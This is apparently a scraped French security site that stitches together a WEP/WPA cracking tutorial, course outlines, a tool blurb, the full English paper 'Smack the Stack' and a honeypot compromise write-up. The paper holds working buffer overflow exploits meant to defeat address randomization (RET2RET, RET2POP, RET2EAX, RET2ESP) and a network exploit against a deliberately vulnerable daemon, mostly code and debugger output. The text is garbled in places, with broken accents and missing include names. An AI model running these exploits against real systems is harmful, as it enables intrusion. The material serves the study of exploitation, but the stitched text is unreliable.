NDT : section originale plus complète sur cette question : requêtes arp, Korek,

Questions Windows.
Le document initial comporte une section sur ce sujet mais comme ça a l’air beaucoup moins trivial que sous linux je vous recommande au choix :
1) de vous mettre à l’anglais : http://www.cr0.net:8040/code/network/aircrack/
2) de vous mettre à Linux : http://libretto.debian.free.fr/  – Vous verrez, c’est beaucoup plus facile que d’apprendre l’anglais.
3) D’essayer un live-cd qui contienne aircrack (par exemple Feather Linux mais aussi Auditor security collection) car cela vous ?vite d’installer quoi que ce soit sur votre disque, vous donne l’occasion de tester Linux et ne vous coutera qu’une gravure de cd (ou clef USB) et un peu de temps.

Liens
Un article comparant diff?rents outils pour casser les clef wep de manière passive : http://www.securityfocus.com/infocus/1814 (airsnort, dwepcrack,  john the ripper, WepAttack, WEPcrack, WepLab). A suivre avec un article en pr?paration sur les m?thodes actives.
Le site officiel d’aircrack : http://www.cr0.net:8040/code/network/
La page d’accueil de mon site : http://libretto.debian.free.fr/
Mon forum pour vos questions : http://libretto.debian.free.fr/phpBB2/ 
Mon exp?rience.
Pour l’instant (27/12/2004) je suis englu? dans une sombre histoire de version de firmware avec ma carte Compaq WL110.  J’ai r?ussi à installer les derniers drivers orinoco disponible pour Linux mais ce n’est pas suffisant. Retrouvez toutes ces aventures sur http://libretto.debian.free.fr/ .

Autres outils de s?curit? wifi.

coWPAtty.

Pr?sentation de coWPAtty
Cet utilitaire a ?t? ?crit par Joshua Wright. Il permet de retrouver la passphrase qui a servi à g?n?rer la PSK (pre-shared key) utilis?e dans un r?seau WPA (Wifi Protected Access). La m?thode utilis?e est celle du "dictionnaire de force brute" (brute-force dictionary, ça sonne mieux en anglais). Le système tourne hors ligne.
A ce que je sache il ne fonctionne que sous Linux.
Le standard WPA2  est-il cassable de cette manière ? Il me semble que non, WPA2 utilise AES-CCMP tandis que WPA uilise TKIP/MIC.

Fonctionnement.
Pour fonctionner coWPAtty a besoin de :
- un fichier de capture libpcap qui contienne les 4 phases de la n?gociation WPA (TKIP : Temporary Key Integrity Protocol).
- un fichier dictionnaire de passphrase
- le SSID du r?seau.
CowPATTY peut être utilis? avec John The Ripper (John the ripper fournit le dictionnaire).
T?l?chargement :
 http://www.remote-exploit.org/index.php/Codes_main
R?f?rences :
 "Faiblesse dans le choix de la passphrase dans les r?seaux WPA" ("Weakness in Passphrase Choice in WPA Interface") par Robert Moskowitz : http://wifinetnews.com/archives/002452.html. Où l’on voit que la qualit? de la protection d?pend de la qualit? de la passphrase.

Autres outils :

Liste assez complète et à jour des utilitaires Wifi (en Anglais) sur The Tech FAQ .
TODO.
Mener mes propres tests et compl?ter ce tutoriel.
Mesurer le temps qu’il faut pour craquer une clef dans un r?seau qui fait du P2P.
Voir si toutes les cartes r?seaux se comportent de la même façon par rapport aux IVs faibles.
Mettre en place un forum sur ces sujets.

Page cr?? le 21/12/2004 – dernière mise à jour le 09/04/2005

• Sur la carte elle-même :
• 1. Historique
• 2. La fabrication de la carte et cycle de vie
• 3. La normalisation
• Sur son architecture :
• 1. Communication Carte Lecteur
• 2. La norme 7816-4
• 3. La s?curit?

Telecharger ici

.

Des nouveaux cours en ligne voici les sommaires…

Cours S?curit? 1 : Introduction & Generalites

Cours S?curit? 2 : La cryptographie
 S?curit? des ?changes
 S?curit? du code mobile
 S?curit? de l’identit? de l’utilisateur
 S?curit? des BDs

Cours S?curit? 3 :
 Protocoles de transmission de cl? de session
 Protocoles d’authentification
 Protocoles d’authentification & ?change de cl?s
 Protocoles de datation
 Le protocole de certification X.509
 La signature

.

Autoscan est un outil de monitoring developp? par thierry lagarde, il vous permettra de faire du scanning de port, de la detection de r?seaux, des scans de sous r?seaux, de l’ajout en temps r?el de machine sur le r?seau, faire du monitoring d’?quipement (router, firewall, server), faire du monitoring de services pop, smtp, http. Il permet aussi de faire de la d?tection d’OS, faire des alertes d’intrusions.

En bref c’est un logiciel assez complet et bien sympathique.

Les sources sont disponibles sur  :
http://prdownloads.sourceforge.net/autoscan/AutoScan-0.97.3b.tar.gz?download
L’auteur :
autoscan.free.fr

aircrack permet de retrouver la cl? WEP d’un r?seau 802.11. Il est capable de retrouver des cl?s de 40 et 104bits. Aircrack en download 

From time to time, a new patch or security feature is integrated to raise the bar on buffer overflow exploiting.
This paper includes five creative methods to overcome various stack protection patches, but in practical focus on
the VA (Virtual Address) space randomization patch that have been integrated to Linux 2.6 kernel. These methods are
not limited to this patch or another, but rather provide a different approach to the buffer overflow exploiting scheme.

-----------------------------------------------------		oO Smack the Stack Oo	( Advanced Buffer Overflow Methods )		Izik -----------------------------------------------------

	From time to time, a new patch or security feature is integrated to raise the bar on buffer overflow exploiting.	This paper includes five creative methods to overcome various stack protection patches, but in practical focus on	the VA (Virtual Address) space randomization patch that have been integrated to Linux 2.6 kernel. These methods are        not limited to this patch or another, but rather provide a different approach to the buffer overflow exploiting scheme.

VA Patch--------

	Causes certain parts of a process virtual address space to be different for each invocation of the process.	The purpose of this is to raise the bar on buffer overflow exploits. As full randomization makes it not possible to 	use absolute addresses in the exploit. Randomizing the stack pointer and mmap() addresses. Which also effects where 	shared libraries goes, among other things. The stack is randomized within an 8Mb range and applies to ELF binaries.	The patch intedned to be an addition to the NX support that was added to the 2.6 kernel earlier as well. This paper	however addressed it as solo.

Synchronize-----------

	My playground box is running on an x86 box, armed with Linux kernel 2.6.12.2, glibc-2.3.5 and gcc-3.3.6

Stack Juggling--------------

	Stack juggling methods take their advantages off a certain stack layout/program flow or a registers changes.	Due to the nature of these factors, they might not fit to every situation.

	RET2RET	-------

		This method relies on a pointer previously stored on the stack as a potential return address to the shellcode.

		A potential return address is a base address of a pointer in the upper stack frame, above the saved return address.		The pointer itself is not required to point directly to the shellcode, but rather to fit a byte-alignment.

		The gap between the location of the potential return address on the stack and the shellcode, padded with addresses		that contain a RET instruction. The purpose of RET will be somewhat similar to a NOP with a tweak, as each RET		performs a POP action and increase ESP by 4 bytes, and then afterward jumps to the next one. The last RET will jump to		the potential return address and will lead to the shellcode.

		--- snip snip ---

			/*			 * vuln.c, Classical strcpy() buffer overflow			 */

			#include 			#include 			#include 			#include 

			int main(int argc, char **argv) {				char buf[256];				strcpy(buf, argv[1]);				return 1;			}

		--- snip snip ---

		Starting with determining 'buf' variable addresses range on the stack

			(gdb) disassemble main			Dump of assembler code for function main:			0x08048384 :    push   %ebp			0x08048385 :    mov    %esp,%ebp			0x08048387 :    sub    $0x108,%esp			0x0804838d :    and    $0xfffffff0,%esp			0x08048390 :   mov    $0x0,%eax			0x08048395 :   sub    %eax,%esp			0x08048397 :   sub    $0x8,%esp			0x0804839a :   mov    0xc(%ebp),%eax			0x0804839d :   add    $0x4,%eax			0x080483a0 :   pushl  (%eax)			0x080483a2 :   lea    0xfffffef8(%ebp),%eax			0x080483a8 :   push   %eax						0x080483a9 :   call   0x80482b0 <_init+56>			0x080483ae :   add    $0x10,%esp			0x080483b1 :   mov    $0x1,%eax			0x080483b6 :   leave			0x080483b7 :   ret			0x080483b8 :   nop			0x080483b9 :   nop			0x080483ba :   nop			0x080483bb :   nop			0x080483bc :   nop			0x080483bd :   nop			0x080483be :   nop			0x080483bf :   nop			End of assembler dump.			(gdb)

		Putting a breakpoint prior to strcpy() function invocation and examining the passed pointer of 'buf' variable

			(gdb) break *main+37			Breakpoint 1 at 0x80483a9			(gdb) run `perl -e 'print "A"x272'`			Starting program: /tmp/vuln `perl -e 'print "A"x272'`

			Breakpoint 1, 0x080483a9 in main ()			(gdb) print (void *) $eax			$1 = (void *) 0xbffff5d0			(gdb)

		Simple calculation gives 'buf' variable range [ 0xbffff6d8 - 0xbffff5d0 ] / ( 264 bytes ; 0x108h )		After establishing the target range, the search for potential return addresses in the upper stack frame begins

			(gdb) x/a $ebp+8			0xbffff6e0:     0x2			(gdb) x/a $ebp+12			0xbffff6e4:     0xbffff764			(gdb) x/a $ebp+16			0xbffff6e8:     0xbffff770			(gdb) x/a $ebp+20			0xbffff6ec:     0xb800167c			(gdb) x/a $ebp+24			0xbffff6f0:     0xb7fdb000 			(gdb) x/a $ebp+28			0xbffff6f4:     0xbffff6f0			(gdb)

		The address [ 0xbffff6f4 ] is a pointer to [ 0xbffff6f0 ], and [ 0xbffff6f0 ] is only 24 bytes away from [ 0xbffff6d8 ]		This, after the byte-alignment conversion, will be pointing inside the target range.

		The byte-alignment is a result of the trailing NULL byte, as the nature of strings in C language to be NULL terminated		combined with the IA32 (Little Endian) factor. The [ 0xbffff6f0 ] address will be changed to [ 0xbffff600 ], which in		our case saves the day and produces a return address to the shellcode.

		--- snip snip ---

			/*		 	 * exploit.c, Exploits vuln.c (RET2RET)			 */

			#include 			#include 

			char evilbuf[] =

	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

								// 				"x31xc0"			// xorl %eax, %eax				"x31xdb"			// xorl %ebx, %ebx				"x40"				// incl %eax				"xcdx80"			// int $0x80								//

								//				"xb7x83x04x08"		// RET ADDRESS / 0x080483b7 :   ret								//

				"xb7x83x04x08"		//				"xb7x83x04x08"		//				"xb7x83x04x08"		// RET's x 5				"xb7x83x04x08"		//				"xb7x83x04x08";		//

			int main(int argc, char **argv, char **envp) {				char *args[] = { "vuln" , evilbuf , NULL };				return execve("vuln", args, envp);			}

		--- snip snip ---

	RET2POP	-------

		This method reassembles the previous method, except it's focused on a buffer overflow within a program function scope.

		Functions that take a buffer as an argument, which later on will be comprised within the function to said buffer overflow, 		give a great service, as the pointer becomes the perfect potential return address.  Ironically, the same byte-alignment 		effect applies here as well, and thus prevents it from using it as perfect potential... but only in a case of when the 		buffer argument is being passed as the 1st argument or as the only argument.

		--- snip snip ---

			/*			 * vuln.c, Standard strcpy() buffer overflow within a function			 */ 

			#include 			#include 			#include 

			int foobar(int x, char *str) {				char buf[256];				strcpy(buf, str);				return x;			}

			int main(int argc, char **argv) {				foobar(64, argv[1]);				return 1;			}			

		--- snip snip ---

		But when having the buffer passed as the 2nd or higher argument to the function is a whole different story.		Then it is possible to preserve the pointer, but requires a new combo.

			(gdb) disassemble frame_dummy			Dump of assembler code for function frame_dummy:			0x08048350 :     push   %ebp			0x08048351 :     mov    %esp,%ebp			0x08048353 :     sub    $0x8,%esp			0x08048356 :     mov    0x8049508,%eax			0x0804835b :    test   %eax,%eax			0x0804835d :    je     0x8048380 			0x0804835f :    mov    $0x0,%eax			0x08048364 :    test   %eax,%eax			0x08048366 :    je     0x8048380 			0x08048368 :    sub    $0xc,%esp			0x0804836b :    push   $0x8049508			0x08048370 :    call   0x0			0x08048375 :    add    $0x10,%esp			0x08048378 :    nop			0x08048379 :    lea    0x0(%esi),%esi			0x08048380 :    mov    %ebp,%esp			0x08048382 :    pop    %ebp			0x08048383 :    ret			End of assembler dump.			(gdb)

		The gcc compiler will normally produce the 'LEAVE' instruction, unless the user passed the '-O2' option to gcc.		Whatever the actual program code doesn't supply, the CRT objects will. Part of the optimization issues tearing 		down the 'LEAVE' instruction to pieces gives us the benefit of having the ability to use only what's needed for us.

			0x08048380 :    mov    %ebp,%esp			0x08048382 :    pop    %ebp			0x08048383 :    ret

		The combination of POP followed by RET would result in skipping over the 1st argument and jump directly to the 2nd argument. 		On top of that it would also be the final knockout punch needed to win this situation.

		Because CRT objects have been included within every program, unless of course the user specified otherwise, it is a rich source		of assembly snippets that can be tweaked.

		--- snip snip ---

			/*		  	 * exploit.c, Exploits vuln.c (RET2POP)			 */

			#include 			#include 

			char evilbuf[] =

								// 				"x31xc0"			// xorl %eax, %eax				"x31xdb"			// xorl %ebx, %ebx				"x40"				// incl %eax				"xcdx80"			// int $0x80								//

	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

								//				"x82x83x04x08";		// RET ADDRESS								// 								// 	0x08048382 :    pop    %ebp								// 	0x08048383 :    ret								//

			int main(int argc, char **argv, char **envp) {				char *args[] = { "vuln" , evilbuf , NULL };				return execve("vuln", args, envp);			}

		--- snip snip ---

		Snooping around the CRT functions, another powerful combination can be found inside the '__do_global_ctors_aux' implementation

			0x080484cc <__do_global_ctors_aux+44>:  pop    %eax			0x080484cd <__do_global_ctors_aux+45>:  pop    %ebx			0x080484ce <__do_global_ctors_aux+46>:  pop    %ebp			0x080484cf <__do_global_ctors_aux+47>:  ret

		But that's for a whole other story ...  

	RET2EAX	-------

		This method relies on the convention that functions uses EAX register to store the return value.

		The implementation of return values from functions and syscalls is done via the EAX register.  This of course		is another great service, so that a function that had buffer overflow in it is also kind enough to return back		the buffer.  We have EAX that contains a perfect potential return address to the shellcode.

		--- snip snip ---

			/*			 * vuln.c, Exotic strcpy() buffer overflow			 */

			#include 			#include 			#include 

			char *foobar(char *str) {				char *ptr, buf[256];				ptr = strcpy(buf, str);				return ptr;			}

			int main(int argc, char **argv) {				foobar(argv[1]);				return 1;			}

		--- snip snip ---

		Again we return to the CRT function for salvation

			(gdb) disassemble __do_global_ctors_aux			Dump of assembler code for function __do_global_ctors_aux:			0x080484a0 <__do_global_ctors_aux+0>:   push   %ebp			0x080484a1 <__do_global_ctors_aux+1>:   mov    %esp,%ebp			0x080484a3 <__do_global_ctors_aux+3>:   push   %ebx			0x080484a4 <__do_global_ctors_aux+4>:   push   %edx			0x080484a5 <__do_global_ctors_aux+5>:   mov    0x80494f8,%eax			0x080484aa <__do_global_ctors_aux+10>:  cmp    $0xffffffff,%eax			0x080484ad <__do_global_ctors_aux+13>:  mov    $0x80494f8,%ebx			0x080484b2 <__do_global_ctors_aux+18>:  je     0x80484cc <__do_global_ctors_aux+44>			0x080484b4 <__do_global_ctors_aux+20>:  lea    0x0(%esi),%esi			0x080484ba <__do_global_ctors_aux+26>:  lea    0x0(%edi),%edi			0x080484c0 <__do_global_ctors_aux+32>:  sub    $0x4,%ebx			0x080484c3 <__do_global_ctors_aux+35>:  call   *%eax			0x080484c5 <__do_global_ctors_aux+37>:  mov    (%ebx),%eax			0x080484c7 <__do_global_ctors_aux+39>:  cmp    $0xffffffff,%eax			0x080484ca <__do_global_ctors_aux+42>:  jne    0x80484c0 <__do_global_ctors_aux+32>			0x080484cc <__do_global_ctors_aux+44>:  pop    %eax			0x080484cd <__do_global_ctors_aux+45>:  pop    %ebx			0x080484ce <__do_global_ctors_aux+46>:  pop    %ebp			0x080484cf <__do_global_ctors_aux+47>:  ret			End of assembler dump.			(gdb)

		The abstract implementation of '__do_global_ctors_aux' includes a sweet CALL instruction. And wins this match!

		--- snip snip ---

			/*			 * exploit.c, Exploits vuln.c (RET2EAX)			 */

			#include 			#include 

			char evilbuf[] =

								// 				"x31xc0"			// xorl %eax, %eax				"x31xdb"			// xorl %ebx, %ebx				"x40"				// incl %eax				"xcdx80"			// int $0x80								//

	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"			        "x90x90x90x90x90x90x90x90x90x90x90x90x90"

								//				"xc3x84x04x08";		// RET ADDRESS / 0x080484c3 <__do_global_ctors_aux+35>:  call   *%eax								//

			int main(int argc, char **argv, char **envp) {				char *args[] = { "vuln" , evilbuf , NULL };				return execve("vuln", args, envp);			}

		--- snip snip ---

	RET2ESP	-------

		This method relies on unique hex, representative of hardcoded values... or in other words, doubles meaning.

		Going back to basics: the basic data unit in computers is bits, and every 8 bits are converted to a byte.		In the process, the actual bits never change, but rather the logical meaning.  For instance, the difference between		a signed and unsigned is up to the program to recognize the MSB as sign bit nor data bit.  As there is no 		absolute way to define a group of bits, different interpretation becomes possible.

		The number 58623 might not be special at first glance, but the hex value of 58623 is. The representative hex		number is FFE4, and FFE4 is translated to 'JMP %ESP' and that's special.  As hardcoded values are		part of the program actual code, this freaky idea becomes an actual solution.

		--- snip snip ---

			/*			 * vuln.c, Unique strcpy() buffer overflow			 */

			#include 			#include 

			int main(int argc, char **argv) {				int j = 58623;				char buf[256];				strcpy(buf, argv[1]);				return 1;			}

		--- snip snip ---

		Starting with disassembling it

			(gdb) disassemble main			Dump of assembler code for function main:			0x08048384 :    push   %ebp			0x08048385 :    mov    %esp,%ebp			0x08048387 :    sub    $0x118,%esp			0x0804838d :    and    $0xfffffff0,%esp			0x08048390 :   mov    $0x0,%eax			0x08048395 :   sub    %eax,%esp			0x08048397 :   movl   $0xe4ff,0xfffffff4(%ebp)			0x0804839e :   sub    $0x8,%esp			0x080483a1 :   mov    0xc(%ebp),%eax			0x080483a4 :   add    $0x4,%eax			0x080483a7 :   pushl  (%eax)			0x080483a9 :   lea    0xfffffee8(%ebp),%eax			0x080483af :   push   %eax			0x080483b0 :   call   0x80482b0 <_init+56>			0x080483b5 :   add    $0x10,%esp			0x080483b8 :   leave			0x080483b9 :   ret			0x080483ba :   nop			0x080483bb :   nop			0x080483bc :   nop			0x080483bd :   nop			0x080483be :   nop			0x080483bf :   nop			End of assembler dump.

		Tearing down [  ] to bytes

			(gdb) x/7b 0x08048397			0x8048397 :    0xc7    0x45    0xf4    0xff    0xe4    0x00    0x00			(gdb)

		Perform an offset (+3 bytes) jump to the middle of the instruction, interpreted as

			(gdb) x/1i 0x804839a			0x804839a :    jmp    *%esp			(gdb)

		Beauty is in the eye of the beholder, and in this case the x86 CPU  

		--- snip snip ---

			/*			 * exploit.c, Exploits vuln.c (RET2ESP)			 */

			#include 			#include 

			char evilbuf[] =

	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90" 	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"	                        "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"

								//				"x9ax83x04x08"		// RET ADDRESS / 0x804839a :    jmp    *%esp								//

								// 				"x31xc0"			// xorl %eax, %eax				"x31xdb"			// xorl %ebx, %ebx				"x40"				// incl %eax				"xcdx80";			// int $0x80								//

			int main(int argc, char **argv, char **envp) {				char *args[] = { "vuln" , evilbuf , NULL };				return execve("vuln", args, envp);			}

		--- snip snip ---

		Here's a tiny table of 16 bit values that includes 'FFE4' in it:

			 -----------------------			 |  VAL  |  HEX  | S/U |  			 +---------------+-----+			 | 58623 | e4ff  |  S  |			 | -6913 | e4ff  |  U  |			 -----------------------

Stack Stethoscope -----------------

	This method is designed to locally attack an already running process (e.g. daemons), its advantage comes from 	accessing the attacked process /proc entry, and using it for calculating the exact return address inside that stack.

	The benefit of exploiting daemon locally is that the exploit can, prior to attacking, browse that process /proc entry.	Every process has a /proc entry which associated to the process pid (e.g. /proc/) and by default open to everybody. 	In practical, a file inside the proc entry called 'stat' include very significant data for the exploit, and that's the	process stack start address.

		root@magicbox:~# cat /proc/1/stat | awk '{ print $28 }'		3213067536		root@magicbox:~#

	Taking this figure [ 3213067536 ] and converting to hex [ 0xbf838510 ] gives the process stack start address.	This is significant to the exploit, as knowing this detail allows an alternative way to navigate inside the stack and predict 	the return address to the shellcode.

	Normally, exploits use absolute return addresses which are a result of testing on different binaries/distributions.	Alternatively, calculating the distance of stack start address from the ESP register value after exploiting is equal	to having the return address itself.

        --- snip snip ---

		/*                 * dumbo.c, Exploitable Daemon                 */

	        #include 	        #include 	        #include 	        #include 	        #include 	        #include 

	        int main(int argc, char **argv) {	        	int sock, addrlen, nsock;	                struct sockaddr_in sin;        	        char buf[256];

	                sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        	        if (sock < 0) {      	        		perror("socket");	                        return -1;        	        }

	                sin.sin_family = AF_INET;	                sin.sin_addr.s_addr = htonl(INADDR_ANY);	                sin.sin_port = htons(31338);	                addrlen = sizeof(sin);

	                if (bind(sock, (struct sockaddr *) &sin, addrlen) < 0) {	 	     		perror("bind");                	        return -1;	                }

        	        if (listen(sock, 5) < 0) {                	  	perror("listen");	                        return -1;	                }

        	        nsock = accept(sock, (struct sockaddr *) &sin, &addrlen);

	                if (nsock < 0) {		              	perror("accept");	                        close(sock);	                        return -1;	                }

	                read(nsock, buf, 1024);

			close(nsock);	                close(sock);

	                return 1;		}

	--- snip snip ---

	Starting by running the daemon

		root@magicbox:/tmp# ./dumbo &		[1] 19296		root@magicbox:/tmp#

	Now retrieving the process stack start address

		root@magicbox:/tmp# cat /proc/19296/stat | awk '{ print $28 }'		3221223520		root@magicbox:/tmp#

	Attaching to it, and putting a breakpoint prior to read() invocation

		(gdb) x/1i 0x08048677		0x8048677 :   call   0x8048454 <_init+184>		(gdb) break *main+323		Breakpoint 1 at 0x8048677		(gdb) continue

	Shooting it down

		root@magicbox:/tmp# perl -e 'print "A" x 320' | nc localhost 31338

	Going back to the debugger, to check on 'buf' pointer

		Breakpoint 1, 0x08048677 in main ()		(gdb) x/a $esp+4		0xbffff694:     0xbffff6b0		(gdb)

	Now it comes down to a simple math

		0xbffff860 -		0xbffff6b0		----------		432 bytes

	So by subtracting the stack start address from the buf pointer, we got the ratio between the two. 	Now, using this data, an exploit can generate a perfect return address.

	--- snip snip ---

		/*				         * dumbo-exp.c, Exploits 'dumbo.c'	  	 */

	        #include         	#include 	        #include 	        #include 	        #include 	        #include 	        #include 	        #include 	        #include 

	        char *shellcode =	 		"x31xc0"  	// xorl %eax, %eax                        "x31xdb"  	// xorl %ebx, %ebx                        "x40"      	// incl %eax                        "xcdx80";	// int $0x80

            	unsigned long proc_getstackaddr(int pid) {            		int fd, jmps;	                char fname[24], buf[512], *data;	                unsigned long addr;

        	        snprintf(fname, sizeof(fname), "/proc/%d/stat", pid);

	                fd = open(fname, O_RDONLY);

        	        if ( (fd < 0) || (read(fd, buf, sizeof(buf)) < 0) ) {	               		perror(fname);	                        return 0;        	        }

	                data = strtok(buf, " ");

        	        for (jmps = 0; ( (jmps < 27) && data ) ; jmps++) {                		data = strtok(NULL, " ");	                }

        	        if (!data) {                		fprintf(stderr, "(%s) is shorter then expected, (corrupted?)", fname);	                        return 0;        	        }

	                addr = strtoul(data, NULL, 0);

	                if (addr < 0) {        	          	fprintf(stderr, "(%s) invalid stack start address, %s is corrupted (?)", data, fname);                	        return 0;                  	}

	                return addr;		}

	        int main(int argc, char **argv) {	       		int sock;                	struct sockaddr_in sin;

	                struct badpkt {        	          	char shcode[7];	                        char padbuf[290];	                        unsigned long retaddr;	                } badpkt;

	                if (argc < 2) {        		       	printf("usage: %s ", argv[0]);	                        return 0;	                }

	                if (!(badpkt.retaddr = proc_getstackaddr(atoi(argv[1]))))        	 	      	return 0;

	                badpkt.retaddr -= 432;

	                strcpy(badpkt.shcode, shellcode);	                memset(badpkt.padbuf, 0x41, sizeof(badpkt.padbuf));

	                sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        	        if (sock < 0) {                	  	perror("socket");                        	return 0;	                }

          	        sin.sin_family = AF_INET;	                sin.sin_addr.s_addr = inet_addr("127.0.0.1");	                sin.sin_port = htons(31338);

	                if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) < 0) {			        perror("connect");	                        return 0;        	        }

	                printf("*** Dumbo is going down! (RET: 0x%08x) ***", badpkt.retaddr);	                write(sock, (void *) &badpkt, sizeof(badpkt));

	                close(sock);

        	        return 1;		}

	--- snip snip ---

Contact-------

	Izik  [or] http://www.tty64.org

Cette article analyse une attaque typique par buffer overflow d’un pirate. Le pirate intsall ensuite un rootkit et se sert de la machine pour attaquer d’autres machines. Tout ceci est expliqu? en anglais dans l’article qui suit …

Analysis of a Compromised Honeypot

Honeypot Operating System: Redhat 6.2 x86 Vanilla

Sure enough, shortly after the initial alert the exploitation takes place. The shellcode is an exact match for a published statd exploit by ron1n called statdx.c. It is non-ripped linux IA32 portbinding shellcode, port 39168 and 133 bytes.

18:58:07 – 66.206.21.1 sends SYN to honeypot on port 111
18:58:07 – honeypot responds SYN/ACK to 66.206.21.1
18:58:07 – 66.206.21.1 sends ACK to honeypot
18:58:08 – 66.206.21.1 sends "RPC GETPORT Call" to honeypot
18:58:08 – honeypot sends "RPC GETPORT Reply" to 66.206.21.1 indicating its RPC port is listening on UDP 933
18:58:08 – 66.206.21.1 sends "STAT" to UDP 933 of honeypot attempting to buffer overflow rpc.statd
18:58:10 – 66.206.21.1 sends "STAT" to UDP 933 of honeypot attempting to buffer overflow rpc.statd
18:58:12 – 66.206.21.1 sends "STAT" to UDP 933 of honeypot attempting to buffer overflow rpc.statd
I say it’s likely an autorooter because I don’t believe an attacker would try and exploit portmapper three times in a row with a seperation of attempts at exactly two second intervals.

 
After the portmapper exploitation, the attacker had a root shell bound to port 39168. They added two user accounts, kernel and httpd. The kernel account with an uid/gid of 0, meaning it has the same system level authority of the root account. Here is the session that transpired:
 
 

 
Now that they have two user accounts they end their root shell session and will use telnet to log in to the honeypot. It is interesting to note that different source ip’s were used to perform the exploit and to log in via telnet. Let’s take a quick detour and see what p0f can tell us about the two source ip’s operating systems. p0f is a neat tool which does passive operating system identification using various TCP/IP flag settings. WHOIS output is also provided.
Machine A – performed the exploit

p0f output: 66.206.21.1 [15 hops]: Linux 2.4.2 – 2.4.14 (1)

Machine B – used to telnet to the honeypot
p0f output: 80.97.35.83 [24 hops]: Windows 9x (1) *

On to the telnet session with the newly created accounts:

 
At this point the attacker has tried unsuccessfully to retrieve an IRC proxy, psybnc, which is commonly used as a bouncer. An ssh backdoor with rootkit was installed, logs cleaned, system binaries replaced. The ssh server listens for connections on port 54321, and the attacker connects to the honeypot utilizing this encrypted communication channel. They download an another rootkit and scanning tools. The second rootkit is installed. The scanning of /8 networks for ports 22 (ssh) and port 111 (portmapper) begins. A /8 network is nothing to sneeze at, it’s 16,777,214 hosts, targets in this case. The transparent bridge that performs packet filtering between the internet and the honeypot blocked these scans before they reached the internet.

r.tgz SSH Backdoor Server By Akamai-Team
